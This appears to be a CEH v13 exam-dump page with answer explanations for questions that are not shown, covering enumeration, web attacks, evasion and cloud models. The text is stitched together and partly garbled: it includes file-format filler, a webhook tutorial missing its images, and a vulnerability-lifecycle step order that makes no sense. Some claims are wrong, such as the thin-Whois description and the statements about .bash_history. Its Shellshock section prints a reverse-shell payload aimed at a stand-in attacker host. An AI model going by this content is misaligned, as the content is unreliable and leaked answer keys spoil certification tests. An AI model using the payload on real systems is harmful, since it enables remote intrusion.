312-50v13 Exam Dumps - ECCouncil CEH v13 Questions and Answers

This scenario demonstrates SMTP Enumeration, a classic enumeration technique described in CEH v13 Network Enumeration. SMTP servers may expose commands such as VRFY, EXPN, and RCPT TO, which can be abused to validate user accounts.

When these commands are enabled without restriction, attackers can enumerate valid usernames without authentication. The Nmap script used explicitly leverages these commands, confirming the misconfiguration.

Option B is incorrect because authentication is not bypassed. Option C concerns DNS routing, not user enumeration. Option D relates to encryption, not enumeration capability.

CEH v13 strongly recommends disabling or restricting SMTP user verification commands. Thus, Option A is correct.

In CEH v13 Module 10: Vulnerability Assessment, the Vulnerability Management Lifecycle is defined with the following structured steps:

Identify assets & baseline (Step 2)

Vulnerability scanning (Step 5)

Risk assessment/prioritization (Step 6)

Remediation (Step 1)

Verification (Step 3)

Continuous monitoring (Step 4)

So the correct lifecycle flow is:

2 → 5 → 6 → 1 → 3 → 4

This ensures vulnerabilities are identified, assessed, remediated, validated, and monitored on an ongoing basis.

CEH v13 identifies encrypted communication channels as one of the most common and effective firewall evasion techniques. Firewalls that rely on packet inspection or signature-based filtering often cannot inspect encrypted payloads without SSL/TLS interception capabilities.

By encrypting malicious traffic—using HTTPS, VPN tunnels, or encrypted C2 channels—attackers can bypass firewall rules that inspect packet contents. CEH v13 emphasizes that this technique is widely used in malware communication, data exfiltration, and command-and-control operations.

IP spoofing (Option A) is limited by ingress and egress filtering and is less effective against modern firewalls. Open-source operating systems (Option B) do not inherently evade firewalls. Social engineering (Option D) targets users, not firewalls.

Therefore, Option C is the correct and CEH-aligned answer.

Whaling is an advanced social engineering technique that targets high-profile individuals, such as executives, managers, or celebrities, by impersonating them or someone they trust, such as a colleague, partner, or vendor. The attacker creates a fake Linkedin profile, pretending to be a high-ranking official from a well-established company, and uses it to connect with other employees within the organization. The attacker then leverages the trust and authority of the fake profile to gain access to exclusive corporate events and proprietary project details shared within the network. This way, the attacker can launch targeted attacks against the organization, such as stealing sensitive data, compromising systems, or extorting money.

The most likely immediate threat to the organization is the loss of confidential information and intellectual property, which can damage the organization’s reputation, competitiveness, and profitability. The attacker can also use the information to launch further attacks, such as ransomware, malware, or sabotage, against the organization or its partners and customers.

The other options are not as accurate as whaling for describing this scenario. Pretexting is a social engineering technique that involves creating a false scenario or identity to obtain information or access from a victim. However, pretexting usually involves direct communication with the victim, such as a phone call or an email, rather than creating a fake Linkedin profile and connecting with the victim’s network. Spear phishing is a social engineering technique that involves sending a personalized and targeted email to a specific individual or group, usually containing a malicious link or attachment. However, spear phishing does not involve creating a fake Linkedin profile and connecting with the victim’s network. Baiting and involuntary data leakage are not social engineering techniques, but rather possible outcomes of social engineering attacks. Baiting is a technique that involves offering something enticing to the victim, such as a free download, a gift card, or a job opportunity, in exchange for information or access. Involuntary data leakage is a situation where the victim unintentionally or unknowingly exposes sensitive information to the attacker, such as by clicking on a malicious link, opening an infected attachment, or using an unsecured network. References:

Whaling: What is a whaling attack?

Advanced Social Engineering Attack Techniques

Top 8 Social Engineering Techniques and How to Prevent Them

This question shows a classic example of an IDOR vulnerability. Rob substitutes Ned's name in the "name" parameter and if the developer has not fixed this vulnerability, then Rob will gain access to Ned's account. Below you will find more detailed information about IDOR vulnerability.

Insecure direct object references (IDOR) are a cybersecurity issue that occurs when a web application developer uses an identifier for direct access to an internal implementation object but provides no additional access control and/or authorization checks. For example, an IDOR vulnerability would happen if the URL of a transaction could be changed through client-side user input to show unauthorized data of another transaction.

Most web applications use simple IDs to reference objects. For example, a user in a database will usually be referred to via the user ID. The same user ID is the primary key to the database column containing user information and is generated automatically. The database key generation algorithm is very simple: it usually uses the next available integer. The same database ID generation mechanisms are used for all other types of database records.

The approach described above is legitimate but not recommended because it could enable the attacker to enumerate all users. If it’s necessary to maintain this approach, the developer must at least make absolutely sure that more than just a reference is needed to access resources. For example, let’s say that the web application displays transaction details using the following URL:

https://www.example.com/transaction.php?id=74656

A malicious hacker could try to substitute the id parameter value 74656 with other similar values, for example:

https://www.example.com/transaction.php?id=74657

The 74657 transaction could be a valid transaction belonging to another user. The malicious hacker should not be authorized to see it. However, if the developer made an error, the attacker would see this transaction and hence we would have an insecure direct object reference vulnerability.

CEH methodology stresses prioritization based on risk, exploitability, and business impact. High-severity vulnerabilities—especially those related to outdated or unsupported server software—are frequently associated with known, publicly documented exploits. The proper next step after identifying such vulnerabilities is to confirm exploitability safely, typically by researching available exploit code, validating version-specific weaknesses, and determining whether the vulnerability can be successfully leveraged under the defined scope of engagement. CEH highlights that exploitation attempts must be evidence-driven, not arbitrary, and focusing on high-risk vulnerabilities allows testers to demonstrate meaningful security impacts. Brute-forcing (Option A) is unnecessary and high-noise. Ignoring or deprioritizing the high-risk finding (Options B and C) contradicts CEH risk-based assessment principles. Therefore, verifying exploitability of the high-risk vulnerability is the correct step.

CEH v13 explains that the Deep Web contains content not indexed by search engines, including exposed databases, misconfigured portals, leaked credentials, and internal documents.

This makes it a critical area to assess unintended data exposure. The Deep Web is not primarily for attacker profiling or insider detection.

Thus, Option D is correct.

File created by Bash, a Unix-based shell program commonly used on Mac OS X and Linux operating systems; stores a history of user commands entered at the command prompt; used for viewing old commands that are executed.

BASH_HISTORY files are hidden files with no filename prefix. They always use the filename .bash_history.

NOTE: Bash is that the shell program employed by Apple Terminal.

Our goal is to assist you understand what a file with a *.bash_history suffix is and the way to open it.

The Bash History file type, file format description, and Mac and Linux programs listed on this page are individually researched and verified by the FileInfo team. we attempt for 100% accuracy and only publish information about file formats that we’ve tested and validated.

A thin Whois model is a type of data model that is used by some domain registrars for storing and looking up Whois information. In a thin Whois model, the registrar only stores the basic information about the domain, such as the domain name, the registrar name, the name servers, and the registration and expiration dates. The rest of the information, such as the contact details of the domain owner, the administrative contact, and the technical contact, is stored by the registry that manages the top-level domain (TLD) of the domain. For example, the registry for .com and .net domains is Verisign, and the registry for .org domains is Public Interest Registry. When a Whois lookup is performed on a domain that uses a thin Whois model, the registrar’s Whois server only returns the basic information and refers the query to the registry’s Whois server for the complete information1.

As a hacker, if you are unable to gather complete Whois information from the registrar for a particular set of data, it might be because the domain’s registrar is using a thin Whois model and the registry’s Whois server is not responding or providing the information. This could be due to various reasons, such as network issues, server errors, rate limits, privacy policies, or legal restrictions. Therefore, the probable data model being utilized by the domain’s registrar for storing and looking up Whois information is a thin Whois model working correctly.

When a switch's ARP cache is flooded using a tool like Macof (from the Dsniff suite), it overwhelms the device's MAC address table, which stores port-to-MAC mappings.

If the table overflows:

The switch can no longer associate MAC addresses with specific ports.

It fails open and begins forwarding frames out all ports — just like a hub.

This degrades the switch’s functionality and allows attackers to sniff traffic on segments that should otherwise be isolated.

From CEH v13 Courseware:

Module 8: Sniffing → Switch-based Attacks

Webhooks are one of a few ways internet applications will communicate with one another.

It allows you to send real-time data from one application to another whenever a given event happens.

For example, let’s say you’ve created an application using the Foursquare API that tracks when people check into your restaurant. You ideally wish to be able to greet customers by name and provide a complimentary drink when they check in.

What a webhook will is notify you any time someone checks in, therefore you’d be able to run any processes that you simply had in your application once this event is triggered.

The data is then sent over the web from the application wherever the event originally occurred, to the receiving application that handles the data.

Here’s a visual representation of what that looks like:

A webhook url is provided by the receiving application, and acts as a phone number that the other application will call once an event happens.

Only it’s more complicated than a phone number, because data about the event is shipped to the webhook url in either JSON or XML format. this is known as the “payload.”

Here’s an example of what a webhook url looks like with the payload it’s carrying:

What are Webhooks? Webhooks are user-defined HTTP callback or push APIs that are raised based on events triggered, such as comment received on a post and pushing code to the registry. A webhook allows an application to update other applications with the latest information. Once invoked, it supplies data to the other applications, which means that users instantly receive real-time information. Webhooks are sometimes called “Reverse APIs” as they provide what is required for API specification, and the developer should create an API to use a webhook. A webhook is an API concept that is also used to send text messages and notifications to mobile numbers or email addresses from an application when a specific event is triggered. For instance, if you search for something in the online store and the required item is out of stock, you click on the “Notify me” bar to get an alert from the application when that item is available for purchase. These notifications from the applications are usually sent through webhooks.

CEH v13 explains that Windows systems running older or default configurations often allow anonymous or null session connections to IPC$ shares, enabling attackers to enumerate users, groups, shares, and other system details without authentication. Null session enumeration is highlighted as a classic yet effective technique because it generates minimal detectable activity and does not require credentials, making it ideal for stealth operations. CEH stresses that SMB null sessions are frequently overlooked in legacy or poorly hardened environments, especially when default permissions remain unchanged. Packet sniffing (Option A) may provide some data but requires traffic visibility and may be detected through monitoring tools. DNS zone transfers (Option B) require misconfigurations and usually do not reveal user list details. SNMP queries (Option D) require community strings and often generate alerts. Therefore, exploiting null sessions is the most covert and effective method for enumerating Windows systems under default configurations.

In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands.

The most common attack vector: Web servers using CGI scripts written in Bash.

Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands.

Exploitation looks like:

User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

If the token itself (e.g., hardware key or smartcard) performs offline verification of the PIN, it can be physically attacked. An attacker can:

Steal the token

Try all possible PIN combinations (0000–9999)

Bypass limits if no lockout mechanisms exist

This is a brute-force attack — the attacker tries every combination until the correct one is found.

From CEH v13 Courseware:

Module 6: Malware and Authentication

Module 20: Identity and Access Management

Incorrect Options:

A: Birthday attacks are related to hash collisions.

C: MITM involves intercepting communication, not offline brute-force.

D: Smurf is a DoS attack, not related to token/PIN systems.

Packet fragmentation is a well-documented IDS evasion technique in CEH v13 Network and Perimeter Hacking. Attackers fragment packets to evade detection by overwhelming or confusing intrusion detection systems, especially those that rely on simple pattern matching.

CEH v13 explains that anomaly-based IDS systems are particularly effective against evasion techniques like packet fragmentation because they analyze deviations from normal network behavior, rather than relying on static signatures. Fragmented packets often create unusual traffic patterns, abnormal packet sizes, or irregular reassembly behavior, which anomaly-based systems are designed to detect.

Signature-based IDS solutions struggle against fragmentation because attackers can split malicious payloads across multiple packets in ways that bypass predefined signatures. Rejecting all fragmented packets (Option C) is impractical and could disrupt legitimate network communication, as fragmentation is a normal part of TCP/IP networking.

Recognizing regular intervals (Option A) is unreliable, as attackers can randomize packet timing. CEH v13 clearly recommends anomaly-based detection to counter advanced evasion techniques.

Thus, Option B is the most effective and CEH-aligned IDS configuration.

According to the Certified Ethical Hacker (CEH) System Hacking and Session Hijacking module, sidejacking is a form of session hijacking where an attacker passively intercepts network traffic to capture unencrypted session cookies. These cookies are then reused to impersonate the authenticated user without needing credentials.

CEH documentation explains that sidejacking commonly occurs on unencrypted HTTP connections, public Wi-Fi networks, or improperly secured internal networks. Once the session cookie is stolen, the attacker can replay it to gain access to the victim’s active session.

Option B correctly describes this mechanism and directly matches CEH’s definition of sidejacking.

Option A refers to perimeter exploitation, not session hijacking.

Option C describes social engineering, which is unrelated to sidejacking.

Option D is an example of cross-site scripting (XSS), not sidejacking.

CEH emphasizes HTTPS enforcement and secure cookie attributes as key countermeasures.

In CEH v13 Information Security and Ethical Hacking Overview, a penetration tester is defined as a trusted, authorized security professional hired to simulate real-world attacks in order to identify and exploit vulnerabilities with explicit permission.

The primary objectives of a penetration tester are:

Identify weaknesses in systems, networks, and applications

Demonstrate real-world impact of vulnerabilities

Help organizations improve their security posture

Unlike malicious hackers (Option A) or malware authors (Options B and D), penetration testers operate under strict legal and ethical guidelines, following scopes of engagement and reporting findings responsibly.

CEH v13 emphasizes that penetration testing is proactive defense, not crime. Therefore, Option C accurately defines the role.

Infrastructure as a Service (IaaS) provides virtualized computing infrastructure over the internet. In this model:

The cloud provider supplies the hardware (servers, storage, networking).

The client (your organization) is responsible for installing and managing the OS, applications, and all configurations.

This aligns with the question, where the organization must take full responsibility for maintenance.

Incorrect Options:

A. PaaS offers managed OS, middleware, and runtime, reducing customer responsibilities.

B. SaaS provides fully managed applications—users only access features.

C. Functions as a Service (FaaS) offers event-driven computing without server management, used in serverless environments.

Reference – CEH v13 Official Courseware:

Module 19: Cloud Computing

Section: “Cloud Service Models”

Table: “Responsibilities in IaaS vs PaaS vs SaaS”

=

The scenario describes an injection attack involving Server Side Includes (SSI). SSI directives are instructions placed in web pages that are executed by the web server before the page is sent to the user. If user input is improperly validated and directly used in an SSI-enabled environment, attackers can inject malicious SSI directives (such as file manipulation commands).

From CEH v13 Official Courseware:

Server-Side Includes (SSI) Injection occurs when attackers submit specially crafted input that is included in server responses and interpreted as SSI directives.

These directives can perform dangerous actions like:

Reading sensitive files (e.g., /etc/passwd)

Deleting or modifying files

Running shell commands via #exec directive

Incorrect options:

A. Server-side template injection is related to template engines like Jinja2 or Twig.

B. Server-side JS injection applies to environments like Node.js.

C. CRLF injection manipulates HTTP headers, not SSI parsing.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Injection Flaws”

Subsection: “SSI Injection”

Lab Reference: CEH iLabs – Web Application Exploitation

=

Vulnerability scanning software is a tool that can help security analysts identify and prioritize known vulnerabilities in their systems and applications. However, it is not a perfect solution and has some limitations that need to be considered. One of the most critical limitations is that vulnerability scanning software is not immune to software engineering flaws that might lead to serious vulnerabilities being missed. This means that the software itself might have bugs, errors, or oversights that could affect its accuracy, reliability, or performance. For example, the software might:

Fail to detect some vulnerabilities due to incomplete or outdated databases, incorrect signatures, or insufficient coverage of the target system or application.

Produce false positives or false negatives due to misinterpretation of the scan results, incorrect configuration, or lack of context or validation.

Cause unintended consequences or damage to the target system or application due to intrusive or aggressive scanning techniques, such as exploiting vulnerabilities, modifying data, or crashing services.

Be vulnerable to attacks or compromise by malicious actors who could exploit its weaknesses, tamper with its functionality, or steal its data.

Therefore, the security analyst should be most cautious about this limitation of vulnerability scanning software, as it could lead to a false sense of security, missed opportunities for remediation, or increased exposure to threats. The security analyst should always verify the scan results, use multiple tools and methods, and update and patch the software regularly to mitigate this risk.